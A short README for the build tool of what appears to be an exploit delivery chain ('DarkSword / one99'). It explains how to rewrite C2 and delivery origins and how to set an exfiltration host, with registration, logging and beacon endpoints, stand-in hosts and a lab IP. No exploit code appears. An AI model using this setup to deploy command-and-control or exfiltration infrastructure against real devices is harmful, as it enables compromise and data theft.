DarkSword / one99 static builder. source/ is the pristine tree (live hosts). tools/build.py rewrites C2 / delivery origins and copies the result to public/next-chain. Runtime splits two bases:

__LAB_DELIVERY_HOST__ — static assets; may include a path (https://cdn.example.com/next-chain)
__LAB_EXFIL__ — C2 / API (/api/ds/chain-targets, /api/ds/device/register, /api/ds/log, beacon/war)

If the page is served under /next-chain/, delivery host is inferred automatically. Override in source/config.js:

deliveryHost: "https://cdn.example.com/next-chain", // full base, or
deliveryPath: "/next-chain",                        // location.origin + path
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },

python3 tools/build.py --host 192.168.31.130 --port 8000

Writes ../public/next-chain/ (atomic replace). source/ is never mutated.
